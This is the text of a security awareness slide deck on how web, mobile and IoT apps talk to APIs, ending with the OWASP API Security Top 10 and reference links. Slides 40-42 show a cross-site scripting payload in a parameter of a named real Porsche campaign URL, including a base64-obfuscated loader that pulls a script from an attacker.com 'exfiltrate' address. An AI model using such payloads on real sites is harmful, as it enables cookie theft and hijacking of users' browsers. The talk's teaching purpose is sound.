The document discusses the evolution of web applications from traditional to modern architectures. It explains how traditional web apps involved separate files (HTML, CSS, JS) retrieved through individual HTTP requests, while modern apps retrieve all code in a single bundle and make additional requests to APIs. It also covers how mobile, IoT and other connected apps interact through APIs instead of web pages. Finally, it lists the OWASP API Security Top 10 risks and provides additional resources on secure API development.

1. www.char49.com
TRUE
SECURITY
Web Apps:
APIs’ Nightmare

2. ● Security Researcher/Pentester
● 15+ years as a Software Developer
● Long-term OWASP Volunteer
● Strong believer in spreading security awareness
Who Am I
Paulo Silva
@pauloasilva_com
/devpauloasilva
paulo@char49.com
Web Apps: APIs’ Nightmare

3. source:
https://home.cern/science/computing/birth-web

7. Web Apps: APIs’ Nightmare
Traditional Web Applications
Client Server
GET /
Content-Type: text/html
HTTP PHP
Database
scripts
main.js
. . .
style
display.js
. . .
images
background.js
. . .
php
index.php
login.php
. . .

8. Web Apps: APIs’ Nightmare
Traditional Web Applications
Client Server
HTTP PHP
Database
scripts
main.js
. . .
style
display.js
. . .
images
background.js
. . .
GET /scripts/main.js
Content-Type: application/javascript
GET /
Content-Type: text/html
php
index.php
login.php
. . .

9. Web Apps: APIs’ Nightmare
Traditional Web Applications
Client Server
HTTP PHP
Database
scripts
main.js
. . .
style
display.js
. . .
images
background.js
. . .
GET /style/display.css
Content-Type: text/css
GET /scripts/main.js
Content-Type: application/javascript
GET /
Content-Type: text/html
php
index.php
login.php
. . .

10. Web Apps: APIs’ Nightmare
Traditional Web Applications
Client Server
HTTP PHP
Database
scripts
main.js
. . .
style
display.js
. . .
images
background.js
. . .
GET /style/display.css
Content-Type: text/css
...
GET /scripts/main.js
Content-Type: application/javascript
GET /
Content-Type: text/html
php
index.php
login.php
. . .

11. Web Apps: APIs’ Nightmare
Traditional Web Applications
Client Server
HTTP PHP
Database
scripts
main.js
. . .
style
display.js
. . .
images
background.js
. . .
php
index.php
. . .
...
GET /login.php
Content-Type: text/html
GET /style/display.css
Content-Type: text/css
GET /scripts/main.js
Content-Type: application/javascript
GET /
Content-Type: text/html
php
index.php
login.php
. . .

12. Web Apps: APIs’ Nightmare
Traditional Web Applications
Client Server
HTTP PHP
Database
scripts
main.js
. . .
style
display.js
. . .
images
background.js
. . .
php
index.php
. . .
...
GET /login.php
Content-Type: text/html
GET /style/display.css
Content-Type: text/css
GET /scripts/main.js
Content-Type: application/javascript
php
index.php
login.php
. . .
POST /login.php
Content-Type: text/html

14. Web Apps: APIs’ Nightmare
Mobile Applications
Client Server
POST /login
Content-Type: application/json
HTTP PHP
Database
. . .
php
auth.php
users.php
posts.php
comments.php
. . .

15. Web Apps: APIs’ Nightmare
Mobile Applications
Client Server
POST /login
Content-Type: application/json
HTTP PHP
Database
GET /users/me
Content-Type: application/json
. . .
php
auth.php
users.php
posts.php
comments.php
. . .
Mobile Applications

16. Web Apps: APIs’ Nightmare
Traditional Web Applications
Client Server
POST /login
Content-Type: application/json
HTTP PHP
Database
. . .
php
auth.php
users.php
GET /users/me
Content-Type: application/json
GET /posts/
Content-Type: application/json
posts.php
comments.php
. . .
Mobile Applications

17. Web Apps: APIs’ Nightmare
Client Server
POST /login
Content-Type: application/json
HTTP PHP
Database
. . .
php
auth.php
users.php
GET /users/me
Content-Type: application/json
GET /posts/
Content-Type: application/json
posts.php
comments.php
...
. . .
Mobile Applications

18. Web Apps: APIs’ Nightmare

19. Web Apps: APIs’ Nightmare

20. Web Apps: APIs’ Nightmare
Connected Things
Client Server
GET /device/config
Content-Type: application/json
HTTP
API 1
API 2
API 3
API N
...
DB 1
DB 2
3rd
Party APIs
Service 1
Service 2
Service N
Service 3
Service 4
...
...

21. Web Apps: APIs’ Nightmare
Client Server
GET /device/config
Content-Type: application/json
HTTP
API 1
API 2
API 3
API N
...
DB 1
DB 2
3rd
Party APIs
Service 1
Service 2
Service N
Service 3
Service 4
...
...
POST /device/auth
Content-Type: application/json
Internet of Things
Connected Things

22. Web Apps: APIs’ Nightmare
Traditional Web Applications
Client Server
GET /device/config
Content-Type: application/json
HTTP
API 1
API 2
API 3
API N
...
DB 1
DB 2
3rd
Party APIs
Service 1
Service 2
Service N
Service 3
Service 4
...
...
POST /device/auth
Content-Type: application/json
POST /location
Content-Type: application/json
Internet of Things
Connected Things

23. Web Apps: APIs’ Nightmare
Client Server
GET /device/config
Content-Type: application/json
HTTP
API 1
API 2
API 3
API N
...
DB 1
DB 2
3rd
Party APIs
Service 1
Service 2
Service N
Service 3
Service 4
...
...
POST /device/auth
Content-Type: application/json
POST /location
Content-Type: application/json
...
Connected Things

24. Web Apps: APIs’ Nightmare
Modern Web Applications
Client Server
GET /
Content-Type: text/html
HTTP
API 1
API 2
API 3
API N
...
DB 1
DB 2
3rd
Party APIs
Service 1
Service 2
Service N
Service 3
Service 4
...
...
public
index.html
bundle.js
...

25. Web Apps: APIs’ Nightmare
Client Server
GET /
Content-Type: text/html
HTTP
API 1
API 2
API 3
API N
...
DB 1
DB 2
3rd
Party APIs
Service 1
Service 2
Service N
Service 3
Service 4
...
...
public
index.html
bundle.js
...
GET /bundle.js
Content-Type: application/javascript
Modern Web Applications

26. Web Apps: APIs’ Nightmare
Client Server
GET /
Content-Type: text/html
HTTP
API 1
API 2
API 3
API N
...
DB 1
DB 2
3rd
Party APIs
Service 1
Service 2
Service N
Service 3
Service 4
...
...
public
index.html
bundle.js
...
GET /bundle.js
Content-Type: application/javascript
POST /login
Content-Type: application/json
Modern Web Applications

27. Web Apps: APIs’ Nightmare
Client Server
GET /
Content-Type: text/html
HTTP
API 1
API 2
API 3
API N
...
DB 1
DB 2
3rd
Party APIs
Service 1
Service 2
Service N
Service 3
Service 4
...
...
public
index.html
bundle.js
...
GET /bundle.js
Content-Type: application/javascript
POST /login
Content-Type: application/json
...
Modern Web Applications
GET /places/1234
Content-Type: application/json

28. Web Apps: APIs’ Nightmare
Client Server
GET /
Content-Type: text/html
HTTP
API 1
API 2
API 3
API N
...
DB 1
DB 2
3rd
Party APIs
Service 1
Service 2
Service N
Service 3
Service 4
...
...
public
index.html
bundle.js
...
GET /bundle.js
Content-Type: application/javascript
POST /login
Content-Type: application/json
...
Modern Web Applications
GET /places/1234
Content-Type: application/json
...

29. Web Apps: APIs’ Nightmare
OWASP
API Security Top 10
API1:2023 Broken Object-Level Authorization
API2:2023 Broken Authentication
API3:2023 Broken Object Property Level Authorization
API4:2023 Unrestricted Resource Consumption
API5:2023 Broken Function-Level Authorization
API6:2023 Unrestricted Access to Sensitive Business Flows
API7:2023 Server Side Request Forgery
API8:2023 Security Misconfiguration
API9:2023 Improper Inventory Management
API10:2023 Unsafe Consumption of APIs

30. API API
API
API API
API API
API
API
API API
API API
Web Apps: APIs’ Nightmare
API

40. Web Apps: APIs’ Nightmare
Vulnerable Parameter
Cross-Site Scripting
https://campaigns.porsche.com/charging/WebAjaxGet?
OpenAgent&typ=nummer&la=USen&pid=95998FB59237DF92C12586D800
37659B
111&ke=6546546<img src=x onerror=alert(document.cookie)>

41. Web Apps: APIs’ Nightmare
Loader
Payload
Cross-Site Scripting

42. Web Apps: APIs’ Nightmare
Payload
Payload
https://campaigns.porsche.com/charging/WebAjaxGet?
OpenAgent&typ=nummer&la=USen&pid=95998FB59237DF92C12586D800
37659B
111&ke=6546546<img src=x
onerror=eval(atob(“KCgpID0+IHsKICBjb25zdCBzY3JpcHQgPSBkb2N1b
WVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTsKICBzY3JpcHQuc3JjID
0gJ2h0dH
BzOi8vYXR0YWNrZXIuY29tL2V4ZmlsdHJhdGUuanMnOwogIGRvY3VtZW5
0LmJvZHk
uYXBwZW5kQ2hpbGQoc2NyaXB0KTsKfSkoKQ==”))>
Payload
Cross-Site Scripting

43. Web Apps: APIs’ Nightmare
Malicious Script
HTTP Fundamentals
Payload
Cross-Site Scripting

46. Web Apps: APIs’ Nightmare
OWASP
Resources
Other References
●
OWASP API Security Project
●
OWASP API Security Top 10 2023
●
OWASP API Security Top 10 2019
●
Goats
●
OWASP Vulnerable Web Applications Directory
●
OWASP crAPI - Completely Ridiculous API
●
OWASP Juice Shop
●
OWASP Cheat Sheets Series
●
Authentication Cheat Sheet
●
Authorization Cheat Sheet
●
GraphQL Cheat Sheet
●
REST Security Cheat Sheet
●
Web Service Security Cheat Sheet
●
OWASP Secure Coding Practices-Quick Reference Guide
●
OWASP Go Secure Coding Practices Guide
●
HTTP
●
Basic of HTTP - mdn web docs
●
Cross-Origin Resource Sharing (CORS) - mdn web docs
●
API Protocols
●
REST
●
Representational state transfer - Wikipedia
●
Representational State Transfer (REST) - Fielding Dissertation
●
RPC
●
Remote procedure call - Wikipedia
●
OpenRPC
●
JSON-RPC
●
XML-RPC
●
gRPC
●
GraphQL
●
Introduction to GraphQL
●
GraphQL blogposts Series - Checkmarx
●
Rate Limiting GraphQL APIs by Calculating Query Complexity - Shopify
●
MindAPI
●
MindAPI References

47. Web Apps: APIs’ Nightmare
OWASP
Resources
Other References

48. www.char49.com
Thank
You!